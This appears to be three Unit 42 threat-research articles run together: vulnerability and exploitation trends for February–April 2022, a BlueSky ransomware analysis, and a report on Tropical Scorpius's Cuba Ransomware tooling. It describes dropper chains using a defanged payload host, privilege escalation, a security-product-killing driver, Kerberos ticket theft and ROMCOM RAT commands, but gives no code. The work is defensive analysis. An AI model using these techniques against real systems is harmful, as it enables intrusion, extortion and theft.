Recent observations of exploits used in the wild reveal that attackers have been making use of newly published remote code execution vulnerabilities in VMware ONE Access and Identity Manager and Spring Cloud Function, Spring MVC and Spring Web Flux, among others. Attackers have also been taking advantage of a cross-site scripting vulnerability in WordPress core, and SQL injection vulnerabilities in VoIPmonitor GUI and other services. In our observations of network security trends, Unit 42 researchers select exploits of the latest published attacks that defenders should know based on the availability of proofs of concept (PoCs), the severity of the vulnerabilities the exploits are based on and the ease of exploitation.
Other insights that could assist defenders include our rankings of the most commonly used techniques and the types of vulnerabilities that attackers have recently favored. For example, among 6,000 newly published vulnerabilities, a large portion (almost 13.3%) involve cross-site scripting, suggesting that defenders may wish to consider how best to mitigate this technique across internet-facing properties.
Other major focuses identified by evaluating more than 93 million attack sessions include remote code execution, traversal and information disclosure.
Additionally, we provide insight into how these vulnerabilities are actively exploited in the wild based on real-world data collected from Palo Alto Networks Next-Generation Firewalls. For example, we highlight how frequently the most commonly exploited vulnerabilities were attacked through networks and the locations from which the attacks appeared to originate. We then draw conclusions about the most commonly exploited vulnerabilities attackers are using, as well as the severity, category and origin of each attack.
Here, we summarize key trends from February-April 2022. In the following sections, we present our analysis of the most recently published vulnerabilities, including the severity distribution. We also classify vulnerabilities to provide a clear view of the prevalence of, say, cross-site scripting or denial-of-service.
Updated Sept. 2 at 12:30 p.m. PT to remove two CVEs that were listed in error.
Analysis of Published Vulnerabilities, February 2022 to April 2022
From February-April 2022, a total of 5,962 new Common Vulnerabilities and Exposures (CVE) numbers were registered. To better understand the potential impact these newly published vulnerabilities could have on network security, we provide our observations based on the severity, proof-of-concept code feasibility and vulnerability categories.
How Severe Are the Latest Vulnerabilities?
To estimate the potential impact of vulnerabilities, we consider their severity and examine any reliable proofs of concept (PoCs) available that attackers could easily launch. Some of the public sources we use to find PoCs are Exploit-DB, GitHub and Metasploit. Distribution of the 5,631 CVEs that have an assigned severity score of medium or higher can be seen in the following table:
Severity
Count
Ratio
PoC Availability
Critical
1033
18.3%
7.8%
High
2282
40.5%
4.8%
Medium
2316
41.1%
3.6%
Table 1. Severity distribution for CVEs registered February-April 2022.
Figure 1. Severity distribution for CVEs registered from February-April 2022, including only those rated medium-critical.
Vulnerabilities classified as critical are the least common but are also more likely to have PoCs available. The data suggests a correlation between the availability of a PoC and the severity of a vulnerability. In the period discussed, the critical-severity ratios increased while high-severity and medium-severity PoC ratios decreased slightly. Palo Alto Networks continues to leverage threat intelligence of the latest vulnerabilities and real-time monitoring of exploits in the wild to provide protections for our customers.
Vulnerability Category Distribution
The type of vulnerability is also crucial to understanding its consequences. Out of the newly published CVEs that were analyzed, 26.4% are classified as local vulnerabilities, requiring prior access to compromised systems, while the remaining 73.6% are remote vulnerabilities, which can be exploited over a network. This means that the majority of newly published vulnerabilities introduce potential opportunities for threat actors to attack vulnerable organizations from anywhere in the world.
As shown in Figure 2, we can see the most common vulnerability types ranked by how prevalent they were among the most recent set of published vulnerabilities.
Figure 2. Vulnerability category distribution for CVEs registered February 2022-April 2022.
Cross-site scripting remains the most reported vulnerability in this time period, and we also saw an increase in out-of-bounds write and information disclosure vulnerabilities published compared to last quarter. However, most of the recently published cross-site scripting and information disclosure attacks are usually at medium or high severity (rather than critical). At the same time, the prevalence of SQL injection vulnerabilities increased in February-April 2022 – and many of the vulnerabilities in this category are critical.
Network Security Trends: Analysis of Exploits in the Wild, February-April 2022
Data Collection
By leveraging Palo Alto Networks Next-Generation Firewalls as sensors on the perimeter, Unit 42 researchers observed malicious activities from February-April 2022. The malicious traffic we identified is further processed and based on metrics such as IP addresses, port numbers and timestamps. This ensures the uniqueness of each attack session and thus eliminates potential data skews. We analyzed 93 million valid malicious sessions and then correlated the refined data with other attributes to infer attack trends over time to get a picture of the threat landscape.
How Severe Were the Attacks Exploited in the Wild?
To arrive at 93 million valid malicious sessions, we excluded the original set of low-severity signature triggers that are used to detect scanning and brute-force attacks, as well as internal triggers used for research purposes. Therefore, we consider exploitable vulnerabilities with a severity ranking of medium and higher (based on the CVSS v3 Score) as a verified attack.
Figure 3. Attack severity distribution, February-April 2022, including only medium-critical vulnerabilities.
Figure 3 shows the session count and ratio of attacks grouped by the severity of each vulnerability. Compared with the previous quarters’ severity distribution, this quarter shows almost no difference for critical-, high- and medium-severity attacks. However, we still focus more on critical-severity attacks because of their greater potential impact. Many published vulnerabilities are scored medium severity, but attackers typically leverage more severe vulnerabilities for exploits. Defenders should pay attention to preventing and mitigating high- and critical-severity network attacks.
When Did the Network Attacks Occur?
Figure 4. Attack severity distribution measured weekly from February-April 2022.
For this installment of our network security trends analysis, we collected data from February-April 2022. Attackers steadily leveraged high-severity exploits throughout this period.
As we’ve seen in the past, attackers frequently used vulnerabilities disclosed recently, especially those from 2021-22. This shows the importance of updating security products and applying software patches as soon as they become available to protect against the most recently discovered vulnerabilities.
Figure 5. Observed attacks broken down by the year in which the exploited CVE was disclosed, measured weekly from February-April 2022.
Exploits in the Wild, February-April 2022: A Detailed View
Among the latest published attacks, the following exploits stood out due to their PoC availability, severity and ease of exploitation. We have provided snippets showing how attackers used open source tools to compromise the different targets, allowing defenders to better understand how the exploit operates.
VMware Workspace ONE Access and Identity Manager contain a remote code execution (RCE) vulnerability due to server-side template injection. A malicious actor can trigger a server-side template injection.
In Spring Cloud Function, when using routing functionality, it is possible for a user to provide a specially crafted SpEL as a routing expression that may result in remote code execution and access to local resources.
Figure 7. Spring Cloud SpEL remote code execution vulnerability.
A Spring MVC or Spring WebFlux application may be vulnerable to RCE via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment.
Figure 8. Spring Core remote code execution vulnerability.
In Spring Cloud Gateway, applications are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker can craft a malicious request that would allow arbitrary remote execution on the remote host.
Figure 10. Spring Cloud Gateway code injection vulnerability.
An attacker can abuse the batch requests plugin to send requests and bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to RCE.
SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server and SAP Web Dispatcher are vulnerable for request smuggling and request concatenation. An unauthenticated attacker can prepend a victim's request using arbitrary data.
Figure 12. SAP multiple products HTTP request smuggling vulnerability.
The Perfect Survey WordPress plugin does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.
Low-privileged authenticated users in WordPress core are able to execute JavaScript/perform stored cross-site scripting attacks, which can affect high-privileged users.
Figure 14. WordPress core post slug stored cross-site scripting vulnerability.
The downloadFlile.cgi binary file in TOTOLINK has a command injection vulnerability when receiving GET parameters. The parameter name can be constructed for unauthenticated command execution.
TP-Link Tapo C200 IP camera is affected by an unauthenticated RCE vulnerability, which is present in the uhttpd binary running by default as root. The exploitation of this vulnerability allows an attacker to take full control of the camera.
Figure 17. TP-Link Tapo C200 remote code execution vulnerability.
An OS command injection vulnerability exists in the Web Manager Wireless Network Scanner functionality of Lantronix PremierWave. A specially crafted HTTP request can lead to command execution. An attacker can then make an authenticated HTTP request to trigger this vulnerability.
There is an easily exploitable vulnerability in the Oracle WebLogic Server that allows an unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.
Figure 20. Oracle Weblogic Server local file inclusion vulnerability.
A cross-site request forgery (CSRF) issue in /api/crontab on iRZ Mobile Routers allows a threat actor to create a crontab entry in the router administration panel. The cronjob will consequently execute the entry on the threat actor's defined interval, leading to RCE and allowing the threat actor to gain file system access.
Figure 21. iRZ Mobile Routers cross-site request forgery vulnerability.
Certain WSO2 products allow unrestricted file upload with resultant RCE. The attacker must use a /fileupload endpoint with a Content-Disposition directory traversal sequence to reach a directory under the web root, such as a ../../../../repository/deployment/server/webapps directory.
CVE-2021-28169 – Eclipse Jetty information disclosure vulnerability.
CVE-2021-31589 – BeyondTrust remote support cross-site scripting vulnerability.
Attack Category Distribution
We classified each network attack by category and organized them in terms of prevalence. In the period discussed, RCE ranks first, followed by traversal attacks. Attackers typically want to gain as much information and control as possible over the systems they target. Information disclosure attacks decreased this quarter.
After identifying the region from which each network attack originated, we discovered that the majority of them seem to originate from the United States, followed by Germany and Russia. However, we recognize that the attackers might leverage proxy servers and VPNs located in those countries to hide their actual physical locations.
Figure 24. Locations ranked in terms of how frequently they were the origin of observed attacks from February-April 2022.Figure 25. Attack geolocation distribution from February-April 2022.
Conclusion
The vulnerabilities disclosed from February-April 2022 indicate that web applications remain popular targets for attackers, and that critical vulnerabilities are more likely to have PoCs publicly available. In the meantime, we continue to capture newly published vulnerabilities that are exploited in the wild. This emphasizes the need for organizations to promptly patch their systems and implement security best practices. If not, attackers will continue to make a concerted effort to expand their arsenal of exploits whenever possible.
BlueSky ransomware is an emerging family that has adopted modern techniques to evade security defenses.
Ransomware is a malicious program designed to encrypt a user’s data and demand a ransom for the decryption. BlueSky ransomware predominantly targets Windows hosts and utilizes multithreading to encrypt files on the host for faster encryption.
In our analysis, we found code fingerprints from samples of BlueSky ransomware that can be connected to the Conti ransomware group. In particular, the multithreaded architecture of BlueSky bears code similarities with Conti v3, and the network search module is an exact replica of it.
However, in another respect, BlueSky more closely resembles Babuk Ransomware. Both use ChaCha20, an algorithm for file encryption, along with Curve25519 for key generation.
According to research done by CloudSEK, PowerShell scripting is used to drop and download BlueSky ransomware from a fake website to encrypt data. After successful encryption, BlueSky Ransomware renames the encrypted files with the file extension .bluesky and drops a ransom note file named # DECRYPT FILES BLUESKY #.txt and # DECRYPT FILES BLUESKY #.html.
As shown in Figure 1, BlueSky ransomware is initially dropped by the PowerShell script start.ps1, which is hosted at hxxps://kmsauto[.]us/someone/start.ps1. The initial dropper is Base64-encoded and then DEFLATE-compressed, which is common behavior observed among PowerShell droppers.
Figure 1. Initial dropper.
After extracting the embedded Base64-encoded stream from start.ps1, the decoded and uncompressed data stream led to yet another PowerShell script called stage.ps1. This script contained countless irrelevant comments in an attempt to conceal malicious activity. After removing these excessive comments, we discovered that start.ps1 downloaded a number of payloads from hxxps://kmsauto[.]us/someone/ based on the user’s privileges, as shown in Figure 2.
Figure 2. Initial dropper (decoded).
Local Privilege Escalation
Before downloading additional payloads to perform local privilege escalation, the PowerShell script, stage.ps1, determines if it is being executed as a privileged user. If so, it moves to the next step and downloads and executes the ransomware payload. If not, it uses the following techniques to escalate local privileges, depending on the version of the host operating system. If the version of the host operating system is earlier than Windows 10, such as Windows 7, 8 or XP, then the script will download and execute a modified version of the local privilege escalation tool called JuicyPotato. If the host is running Windows 10 or later, then the script will download and execute ghost.exe and spooler.exe to exploit local privilege escalation vulnerabilities CVE-2020-0796 and CVE-2021-1732 respectively.
Ransomware Payload
After gaining additional privileges, stage.ps1 downloads the final BlueSky ransomware payload from hxxps://kmsauto[.]us/someone/l.exe and saves it locally to the filesystem as javaw.exe, attempting to masquerade as a legitimate Windows application. Eventually, the sample executes from the file path %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\javaw.exe.
Ransom Note
BlueSky drops the ransom note as a text file named # DECRYPT FILES BLUESKY #.txt and an HTML file named # DECRYPT FILES BLUESKY #.html in a local directory where it has encrypted files successfully and renamed them with the file extension .bluesky. The content of # DECRYPT FILES BLUESKY #.html is shown in Figure 3.
Figure 3. BlueSky ransom note.
Anti-Analysis Techniques
BlueSky implements multiple anti-analysis techniques, including string encryption, API obfuscation and anti-debugging mechanisms, allowing it to obfuscate Windows API function names and use indirect calls for resolving APIs. Additionally, BlueSky encodes API names using DJB hashing functions as shown in Figure 4, hindering malware analysis.
Figure 4. DJB hash matching.
Ransomware Artifacts
BlueSky generates a unique user ID by computing the MD5 hash over the combined Volume Information, Machine GUID, Product ID and Install Date values, as shown in Figure 5. Furthermore, it uses the same ID for generating the mutex Global\<32-byte ID>.
Figure 5. Unique ID calculation.
It creates the registry key HKCU\Software\<32-byte ID> to store registry entries completed, RECOVERY BLOB and x25519_public to fingerprint its ransomware operations. Once the encryption process is completed, the registry entry completed is set with a value of 1. RECOVERY BLOB is a fingerprint identifier for the compromised organization, which is encrypted by the ChaCha20 encryption algorithm. The structure of the RECOVERY BLOB is shown in Table 1.
Offset
Data
Size
0x00
Curve25519 public key
0x20
0x20
Cryptographic random value
0x0C
0x2C
Curve25519 secret key
0x20
0x4C
Unique user ID
0x10
0x5C
Hardcoded RC4-decoded bytes
0x10
0x6C
Unknown DWORD
0x04
0x70
Unknown DWORD
0x04
0x74
Constant value 0x1000
0x04
Table 1. Recovery blob structure.
The RECOVERY BLOB is then encrypted with ChaCha20 as shown in Figure 6 and stored in HKCU\Software\<32-byte ID>\RECOVERY.
Figure 6. Recovery blob encryption.
File Encryption
Unlike other ransomware, which normally contains a list of file extensions to identify eligible files for encryption, BlueSky consists of a list of extensions that are negated in the file encryption process. The file extensions used in BlueSky are listed below: ldf, scr, icl, 386, cmd, ani, adv, theme, msi, rtp, diagcfg, msstyles, bin, hlp, shs, drv, wpx, bat, rom, msc, lnk, cab, spl, ps1, msu, ics, key, msp, com, sys, diagpkg, nls, diagcab, ico, lock, ocx, mpa, cur, cpl, mod, hta, exe, ini, icns, prf, dll, bluesky, nomedia, idx
Directory names excluded from encryption: $recycle.bin, $windows.~bt, $windows.~ws, boot, windows, windows.old, system volume information, perflogs, programdata, program files, program files (x86), all users, appdata, tor browser
As shown in Figure 7, BlueSky uses a multithreaded queue for encryption. It starts multiple threads – one responsible for file encryption, another for enumerating files on the local file system and mounted network shares to be added into the queue. This multithreaded architecture bears code similarities with Conti (Ransomware) v3. In particular, the network search module is an exact replica of Conti v3. However, there are certain differences in the file encryption routine. For instance, Conti v3 uses RSA- and AES-based file encryption, whereas BlueSky utilizes Curve25519- and ChaCha20-based file encryption.
Figure 7. Ransomware queues.
The file encryption of BlueSky is similar to Babuk Ransomware – both use Curve25519 to generate a public key for the host and generate a shared key with the public key of the attacker. After generating an elliptic curve key pair, BlueSky computes a hash of the shared key, and uses it to generate a file encryption key for the ChaCha20 algorithm. Finally, it reads the file buffer, encrypts it with ChaCha20 and replaces the contents of the original file, as shown in Figure 8.
Figure 8. File encryption routine.
RedLine Infostealer Association
All samples we observed related to BlueSky ransomware were hosted at an active domain named kmsauto[.]us. When hunting for more samples related to BlueSky ransomware, we observed that several malware samples associated with the RedLine infostealer were hosted on the same domain. Although we did not find any code overlap between RedLine and BlueSky ransomware, similarities in the initial stages were observed, as both these families use a PowerShell downloader as the initial vector.
Conclusion
Ransomware authors are adopting modern advanced techniques such as encoding and encrypting malicious samples, or using multi-staged ransomware delivery and loading, to evade security defenses. BlueSky ransomware is capable of encrypting files on victim hosts at rapid speeds with multithreaded computation. In addition, the ransomware adopts obfuscation techniques, such as API hashing, to slow down the reverse engineering process for the analyst.
It is very likely that ransomware attacks will continue to grow with advanced encryption techniques and delivery mechanisms.
Beginning in early May 2022, Unit 42 observed a threat actor deploying Cuba Ransomware using novel tools and techniques. Using our naming schema, Unit 42 tracks the threat actor as Tropical Scorpius.
Here, we start with an overview of the ransomware and focus on an evolution of behavior observed leading up to deployment of Cuba Ransomware. While this behavior was consistent for over a year, Unit 42 has observed some recent changes. This includes providing an overview of the ransomware’s functionality and algorithms, as well as covering the technical details of the tactics, techniques and procedures (TTPs) used by Tropical Scorpius. Specifically, this involves:
A new malware family that Unit 42 tracks as ROMCOM RAT.
A weaponized local privilege escalation exploit to SYSTEM.
A new Kerberos tool that Unit 42 tracks as KerberCache.
Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer.
Related Unit 42 Topics
Ransomware
Names for threat actor group deploying Cuba Ransomware
Tropical Scorpius, UNC2596
Tropical Scorpius Overview: How Cuba Ransomware Has Been Deployed
The Cuba Ransomware family first surfaced in December 2019. The threat actors behind this ransomware family have since changed their tactics and tooling to become a more prevalent threat in 2022. This ransomware has historically been distributed through Hancitor, which is usually delivered through malicious attachments. Tropical Scorpius has also been observed exploiting vulnerabilities in Microsoft Exchange Server, including ProxyShell and ProxyLogon.
This ransomware group uses double extortion alongside a leak site that exposes organizations that have allegedly been compromised (Figures 1a and 1b). That said, this group didn’t have a leak site when first observed in 2019; we suspect the inspiration for adding one came from other ransomware groups such as Maze and REvil. The Cuba Ransomware leak site also includes a paid section where the threat actors share leaks that were sold to an interested party.
Figure 1a. A screenshot from the leak site used by Cuba Ransomware, focused on the content the group makes freely available.Figure 1b. A screenshot of the section of the Cuba Ransomware group’s leak site where data is offered for sale.
Tropical Scorpius Victimology
The most recent Unit 42 Ransomware Threat Report includes observations of Cuba Ransomware impacting 33 organizations. As of July 2022, Tropical Scorpius has used Cuba Ransomware to impact 27 additional organizations across multiple vectors, such as Professional and Legal Services, State and Local Government, Manufacturing, Transportation and Logistics, Wholesale and Retail, Real Estate, Financial Services, Health Care, High Technology, Utilities and Energy, Construction, and Education. A total of 60 organizations were exposed by this ransomware gang on its leak site since the group first surfaced in 2019.
We suspect the number of victims is larger than the leak site shows since ransomware operators usually don’t release the data publicly if the victim pays the ransom. That said, the FBI says the Cuba Ransomware gang made at least $43.9 million from ransom payments and has demanded at least $74 million.
Figure 2. Organizations appearing on the Cuba Ransomware leak site, distributed by industry.
We observed that this ransomware gang’s leak site does not include as global a distribution of targeted organizations as other ransomware gangs operating right now. While leak sites don’t reflect the actual number of victims impacted by this ransomware group, they still give us a general idea of a group’s targets and objectives. We noticed that out of the 60 victims listed on the Cuba Ransomware leak site, 40 were located in the United States – 66% of the total number of allegedly breached organizations. By contrast, only about 30% of the allegedly breached organizations on the LockBit leak site are located in the U.S.
Figure 3. Geographic distribution of organizations targeted by Cuba Ransomware, according to the group’s leak site.
Industrial Spy and Tropical Scorpius
In May 2022, BleepingComputer reported that the marketplace Industrial Spy was moving into the ransomware business. After emerging in April 2022, Industrial Spy became known as a site where threat actors can sign up to buy stolen data from breached companies. The extension into ransomware, while a related type of malicious activity, also appears to have a connection to Tropical Scorpius.
Figure 4. Industrial Spy landing page.
BleepingComputer reports that the ransom note used by Industrial Spy ransomware bears substantial resemblance to a Cuba ransom note, with both notes containing the exact same contact information. It’s worth mentioning that ransomware groups usually copy ransom notes from other groups for their own samples, but we believe there is more to this relationship.
Unit 42 observed a Cuba Ransomware payload used to encrypt the files on a compromised system, appending the .cuba extension to the files – but then observed that the exfiltrated data was posted for sale on the Industrial Spy marketplace.
We are still unsure why the Tropical Scorpius threat actors decided to leverage the Industrial Spy marketplace rather than their own leak site; however, due to the findings published by BleepingComputer and this curious incident, we believe there is more involvement between the two than originally thought.
Ransomware Functionality
While it is clear the Tropical Scorpius threat actors are constantly developing and updating their toolkit, the core Cuba Ransomware payload has remained roughly the same since its discovery in 2019. The cryptographic algorithms are still taken from WolfSSL’s open source repository, specifically ChaCha for file encryption and RSA for key encryption.
Figure 5. Code overlap between Cuba Ransomware and WolfSSL’s RSA encrypt functionality.
Similarly to most ransomware families, Cuba Ransomware encrypts files differently depending on their size. If the file is less than 0x200000 bytes in length, the entire file is encrypted. If not, Cuba Ransomware encrypts the files in chunks of 0x100000 bytes, with the break in between the encrypted chunks differing based on the overall size. For example, a file with a size between 0x200000 bytes and 0xA00000 bytes will be modified in blocks of 0x400000 bytes until the file’s end.
Figure 6. Determination of chunk spacing prior to file encryption.
File Size
Chunk Size
Chunk Spacing
Less than 0x200000
Entire Size
N/A
Between 0x200000 & 0xA00000
0x100000
0x400000
Between 0xA00000 & 0x3200000
0x100000
0x800000
Between 0x3200000 & 0xC800000
0x100000
0x1000000
Between 0xC800000 & 0x280000000
0x100000
0xC800000
Greater than 0x280000000
0x100000
0x1F400000
Table 1. Chunk spacing based on file sizes within Cuba Ransomware.
Each encrypted file is also prepended with an initial 1024-byte header, containing the magic value FIDEL.CA (likely in reference to Fidel Castro, following the Cuba theme), followed by an RSA-4096 encrypted block containing the file-specific ChaCha key and nonce. After successfully encrypting a file, the extension .cuba is appended to the filename.
Figure 7. FIDEL.CA magic value followed by encrypted RSA blob.
As discussed by Trend Micro, the developers of Cuba Ransomware have built onto the list of targeted processes and services that will be terminated on runtime, as well as increasing the number of directories and extensions to avoid encrypting.
Another major update can be found within the ransom note dropped by the ransomware; rather than rely solely on their Tor site, they are also offering communication via TOX, which is slowly becoming more popular among ransomware groups due to its secure messaging functionality.
Figure 8. Ransom note dropped by Cuba Ransomware group.
Defense Evasion
Unit 42 observed Tropical Scorpius prior to the deployment of ransomware, using some interesting tools and techniques to evade detection and move around in the compromised environment.
Tropical Scorpius leveraged a dropper that writes a kernel driver to the file system called ApcHelper.sys. This targets and terminates security products. The dropper was not signed, however, the kernel driver was signed using the certificate found in the LAPSUS NVIDIA leak.
Figure 9. Kernel driver digital signature.
Upon executing the kernel driver dropper/loader, the kernel dropper uses multiple Windows APIs for finding the resource section and loading the resource type name called Driver. This is an embedded PE file and is the driver that will ultimately be written to the file system in subsequent API calls.
Figure 10. Kernel dropper resource section.
After the kernel driver drops onto the file system, the loader will first run a deletion command argument via cmd.exe for the file path.
After this, it will create a new service using cmd.exe and run the argument below to set up a service for the kernel driver.
Then the loader copies the kernel driver responsible for terminating security products onto the file system.
The core functionality of the kernel driver dropped and loaded is to resolve additional kernel APIs for performing functionality and targeting a list of security products for termination.
The additional APIs are resolved using a string constant for the desired API name; each Windows API below is used in a function call to MmGetSystemRoutineAddress for returning a pointer to the function. Below is a list of additional kernel APIs resolved that were found within the sample.
Figure 11. Kernel driver runtime APIs.
The list of security products targeted overlaps with the list of targets previously observed in the tool called “BURNTCIGAR” as discussed by Mandiant. This particular kernel driver is a variant of what Mandiant observed.
Figure 12. Security products targeted.
After the additional APIs are resolved, the process of targeting security products begins (products targeted are in Figure 12 above). A do-while loop is set up (loop is shown in Figure 13 below) with the objective of checking the processes running on the system to see if they match an item from the security products targeted. This naming check is performed by looking up each ThreadID and calling the function PsLookupThreadByThreadId, which will be used to find a pointer to the ETHREAD structure of the thread. The ETHREAD structure is a kernel object maintaining various references to important process/thread structures and objects needed by the operating system for tasking and execution by the CPU. The pointer to ETHREAD that is returned is used in the function PsIsThreadTerminating to make sure a thread is not terminating.
Then if a thread object exists, to find the process the thread belongs to, the function PsGetThreadProcess is used and the returned value is PEPROCESS. PEPROCESS is a kernel object representation of a process object which maintains pointers to where process-related information is stored. If PEPROCESS does exist for the associated thread, the ImageFileName offset is then assigned to a variable in the instance of the decompiled output; this is the variable named “v3” in Figure 13. The variable “v3” will then have the process image file name for the current thread/process in the loop, which could be any active process on a computer system.
The next part of performing the name check is the inner if-then statement that uses two parameters in the strstr function. The first parameter is the process image filename from the PEPROCESS structure’s ImageFileName. The second parameter is a substring search of the security product’s name to compare against the first parameter. (For example, does the name Sophos exist in the ImageFileName process name string?)
If there is a match, the next function, called sub_140001BE0 (shown being called in Figure 13 below), will check if the status code of the thread is set to status pending. If this evaluates as true, then a subroutine will be called using ZwTerminateProcess for termination. The thread object will be dereferenced and the loop will continue to the next thread to start evaluating again for termination.
Figure 13. Example of kernel driver decompiled.
The change of tactics by Tropical Scorpius is to make use of the expired legitimate NVIDIA certificate, as well as use of their own driver targeting security products for termination. This is a noteworthy change compared to publicly observed exploitation of an undocumented IOCTL (Input/Output Control system calls) in previous versions of the vulnerable BURNTCIGAR driver.
Local Privilege Escalation
The local privilege escalation tool leveraged by Tropical Scorpius was initially downloaded from the web hosting platform tmpfiles[.]org by using PowerShell’s Invoke-WebRequest.
Unit 42 observed the actor leverage a binary that abused CVE-2022-24521, a vulnerability in the Common Log File System (CLFS). The exploit abused a logic bug in CLFS.sys, specifically in the CClfsBaseFilePersisted::LoadContainerQ() function. Malformed BLF files were used to corrupt the pContainer field of a container context object with a user-mode address to gain code execution. The code execution was used to steal the System token and elevate privileges. A detailed write-up of this vulnerability and the exploitation strategy was provided by Sergey Kornienko of PixiePoint Security on April 25, 2022.
The Tropical Scorpius threat actor likely used this post as a guide to build the exploit since the exploitation strategy used is identical to what Sergey described, including the pipe attributes heap exploitation method to spray the heap.
This technique was covered in detail by Corentin Bayet and Paul Fariello of Synactiv at the Symposium on Information and Communications Technology Security (SSTIC) in 2020.
Ticket to Lateral Movement
The Tropical Scorpius threat actor leveraged various tools for the initial system reconnaissance. ADFind and Net Scan were downloaded from the web hosting platform tmpfiles[.]org by using PowerShell’s Invoke-WebRequest. Both tools were dropped onto the same system with shortened names to obscure their purpose.
Credential preparation and collection on lower-privilege systems was performed using a PowerShell-based script, GetUserSPNs.ps1. This particular script was observed on three different systems, where it identified user accounts being used as service accounts. The threat actor used this process to pinpoint accounts worth targeting for their associated Active Directory Kerberos ticket, in order to collect and crack the Kerberos ticket offline via the technique called Kerberoasting.
Additional activity related to credential theft was observed approximately one week after the use of GetUserSPNs.ps1, with the observation of Mimikatz on a user's workstation being written into the user’s document folder as a zipped file. Mimikatz is a well-known credential theft tool that contains various options for targeting parts of the operating system where credentials can potentially be found.
Around the time that Mimikatz was observed, a custom hacktool was observed on another workstation. This tool, intended for extracting cached Kerberos tickets from a host’s LSASS memory, was dropped into a user’s documents folder.
Unit 42 is naming the Kerberos tool used by Tropical Scorpius in terms of its overall objective: KerberCache. A screenshot of the tool’s output was taken, displaying the parsed data the tool generates (Figure 14).
Figure 14. KerberCache ticket extraction example.
Under the hood, KerberCache will call the API LsaConnectUntrusted to get a handle used for subsequent calls. Following the returned handle, the call to LsaLookupAuthenticationPackage is then given the package named Kerberos along with the handle from the previous API call to LsaConnectUntrusted. If the function succeeds, it will call the API LsaCallAuthenticationPackage. Below (Figure 15) is a snippet of the function’s flow once called and the decompiled formatting and parsing takes place.
Figure 15. Ticket parsing decompiled example.
Upon successful retrieval of cached Kerberos tickets, the ticket will be passed to a function for base64-encoding the data and will be written to the current working directory in which the tool was executed. The naming convention output for the tool can be broken into the following sections: [user@servername]_[encryption_type].[ticket_number].kirbi. The actual ticket naming convention, when written to the file system, appears as the following example output: krbtgt@CORP.INTERNAL_18.0.kirbi.
Figure 16. Ticket encoding decompiled example.
To Domain Admin
The Domain Admin tool leveraged by Tropical Scorpius was initially downloaded from the web hosting platform tmpfiles[.]org by using PowerShell’s Invoke-WebRequest. The sample was packed using the Anti-VM features of Themida, a well-known commercial packing tool. It was also masquerading as the filename Filezilla.
Upon execution, if running in a virtualized environment, the packer will display the following message:
Figure 17. Themida Anti-VM example.
The unique commands associated with the hacktool provide high confidence Zero.exe is ZeroLogon hacktool. The ZeroLogon hacktool is used to abuse CVE-2020-1472 to gain Domain Administrator (DA) privileges by requesting an NTLM hash from the domain controller.
Figure 18. ZeroLogon hacktool packed example.
It has been noted publicly that the ZeroLogon hacktool has gained popularity among other malware families as part of their attack chain in the crimeware space with overlap on intrusions related to Qbot and Hancitor.
Command and Control
Alongside the aforementioned tools, Unit 42 also discovered a custom remote access Trojan/backdoor containing a unique command and control (C2) protocol. Based on the strings within the binary as well as the functionality, we’ve opted to name it ROMCOM RAT.
ROMCOM RAT can be executed through the use of one of its two exports:
ServiceMain startWorker
Both exports lead to the execution of the same function; however, the difference is the string passed as a parameter: ServiceMain passes the string _inet, while startWorker passes the string _file. Based on this string alone, the flow of execution within the sample is completely different, with ServiceMain causing the sample to beacon out to its C2 server, and startWorker resulting in the sample opening a backdoor on the system and waiting for connections.
ServiceMain Export
Upon execution of the ServiceMain export, ROMCOM will execute the following command line:
This will lead to the execution of the startWorker export, meaning both exports will be active on a machine, presuming ROMCOM was initially executed through a service.
Figure 19. Execution of ROMCOM sample through rundll32.exe with startWorker argument.
From there, ROMCOM will gather system and user information, and attempt to send it to a hardcoded C2 server via the WinHTTP API. If this is successful, the response is parsed and dealt with accordingly.
Figure 20. ICMP capabilities offered within ROMCOM.Figure 21. Command handling of the packet received from C2.
If the connection fails, ROMCOM attempts to connect to and communicate with the C2 server using ICMP requests. Using Windows API functions such as IcmpCreateFile() and IcmpSendEcho(), it will attempt to resend the system and user information to the server until a response is received. Once a response is received, it is parsed in the same way the HTTP response will be parsed.
Figure 22. ICMP request functionality.
If the fourth byte of the response is equal to 9, ROMCOM will sleep for 120,000 milliseconds. If the fourth byte is set to 5, the response will contain a size for followup data, and so memory is allocated before a second request is made to the C2, using either HTTP or ICMP depending on the last protocol in use.
The received data from this second request is then passed into a function that first connects to the local address 127.0.0[.]3 over a port between 5555 and 5600, and then sends the C2 received data. The function then returns, and then ROMCOM binds to 127.0.0[.]2:5555, where it will wait for a connection and forward any data received from that connection to its C2 server.
Figure 23. Connecting to local socket server hosted by ROMCOM startWorker process.This leads nicely into a discussion of the startWorker export.
startWorker Export
The startWorker export passes the string _file to the main function of ROMCOM, which results in the code executed by the ServiceMain export being skipped. Instead, startWorker begins by opening a socket object and attempting to bind to the IP 127.0.0[.]3, and the port 5555. However, if the port is already in use, ROMCOM will increment the port value and attempt to bind once again. This loop continues until ROMCOM has bound to an unused port, or until the port value reaches 5600, at which point it is set to 5554 and the loop restarts.
Figure 24. Setting up local socket server.Once ROMCOM has successfully bound to a port, it begins listening for an incoming connection – this will be fulfilled by the process that executed the ServiceMain export. When an incoming connection is received, a thread will be spawned that will handle any requests from the connected client.
Figure 25. Command handler.
Table 2 can be seen below, containing the list of accepted commands and their purpose.
Command Value
Purpose
1
Return connected drive information
2
Return file listings for specified directory
3
Start up a reverse shell under the name svchelper.exe within the %ProgramData% folder
4
Upload data to C2 as ZIP file, using IShellDispatch to copy files
5
Download data and write to worker.txt in the %ProgramData% folder
6
Delete a specified file
7
Delete a specified directory
8
Spawn a process with PID Spoofing
9
Only handled by ServiceMain, received from C2 server and instructs the process to sleep for 120,000 ms
10
Iterate through running processes and gather process IDs
Table 2. Supported backdoor commands and their functionality.
